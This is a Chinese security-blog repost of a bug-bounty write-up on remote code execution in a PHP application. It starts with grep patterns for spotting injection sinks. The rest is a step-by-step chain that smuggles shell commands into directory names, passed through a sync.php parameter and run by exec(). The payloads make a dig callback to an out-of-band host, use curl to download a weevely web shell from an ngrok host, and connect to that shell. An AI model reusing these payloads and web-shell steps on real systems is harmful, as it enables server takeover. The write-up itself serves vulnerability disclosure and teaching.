|
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
前言
Chapter 0
首先,要查找源代码中的漏洞,您需要识别潜在的入口点。像 SonarQube 这样的工具可以用于此目的,但我更喜欢使用老式的 grep。
以下是 PHP 的几个示例:
grep -Ri "$_" . | grep "echo"
grep -Ri "$_GET" . | grep "echo"
grep -Ri "$_POST" . | grep "echo"
grep -Ri "$_REQUEST" . | grep "echo"
命令执行:
grep -Ri "shell_exec(" .
grep -Ri "system(" .
grep -Ri "exec(" .
代码执行:
grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"
SQL注入:
grep -Ri "$sql" .
grep -Ri "$sql" . | grep "$_"
RFI/LFI:
grep -Ri "file_include" .
grep -Ri "include(" .
grep -Ri "require(" .
grep -Ri "include_once(" .
grep -Ri "require_once(" .
grep -Ri "require_once(" . | grep "$_"
Chapter 1
此代码的目的是确定文件的大小。首先,在第 40 行,调用scandir() ,返回一个目录内容数组。
接下来,通过preg_replace()过滤文件和目录的名称,并将其发送到@exec()调用所在的filesize64()函数。
非常酷,但是此代码不接受任何用户输入进行注入,除了/home/html/ftp-upload/uploads/OELxI386/目录的内容,我无法控制该目录。因此,我将这段代码搁置了几周......
Chapter 2
http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2]
mkdir /home/html/ftp-upload/uploads/test somename
Chapter 3
创建自己的目录的能力使我产生了使用它向@exec()注入有效负载并使用此链来实现 RCE 的想法。
第一个想法是尝试创建一个名称中包含有效负载的目录,这将向我的服务器发送请求。如果请求到达,则代码已成功执行。
为此,我使用了dig命令:
dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`&secret1=[secret1]&secret2=[secret2]
伟大的!名称中包含有效负载的目录已创建,现在需要使用读取该目录内容的易受攻击函数运行脚本。为此,我们需要访问
http://example.com/ftp-upload/testSize.php
我们看到脚本已经生效:
1. 我们发送一个请求,在我们需要的位置创建一个包含有效负载的目录:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
2. 有效负载被发送到创建目录的脚本。
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
http://example.com/ftp-upload/testSize.php
Chapter 4
让我们继续执行复制步骤:
weevely generate 123pass shell.txt
$attachment_location = "shell.txt";
if (file_exists($attachment_location)) {
header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
header("Cache-Control: public");
header("Content-Type: plane/text");
header("Content-Transfer-Encoding: Binary");
header("Content-Length:".filesize($attachment_location));
header("Content-Disposition: attachment; filename=shell.php");
readfile($attachment_location);
die();
} else {
die("Error: File not found.");
}
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https
由于服务器仍然具有过滤功能,因此我进行了一些头脑风暴,结果,我得到了以下有效负载:
uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
cd error #转到可写目录
curl rce.eu.ngrok.io -o shell.php #将shell下载到易受攻击的服务器的命令
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
http://example.com/ftp-upload/testSize.php
weevely http://example.com/ftp-upload/errors/shell.php 123pass
现在我们可以去附近的酒吧庆祝一下。
经过几天的修正,团队奖励了我一笔赏金(按照传统,激励性的屏幕截图=))
这次他们给我的工资比我预想的要少很多,公司是这样解释的:
这是在自托管平台上寻找错误的缺点。
我希望我能够清楚地告诉您一个有关漏洞利用的有趣案例。祝大家狩猎愉快,并获得大量赏金!
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001... |
推 荐 阅 读
原文始发于微信公众号(潇湘信安):泄露PHP源代码中的硬核RCE,价值3000美元!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论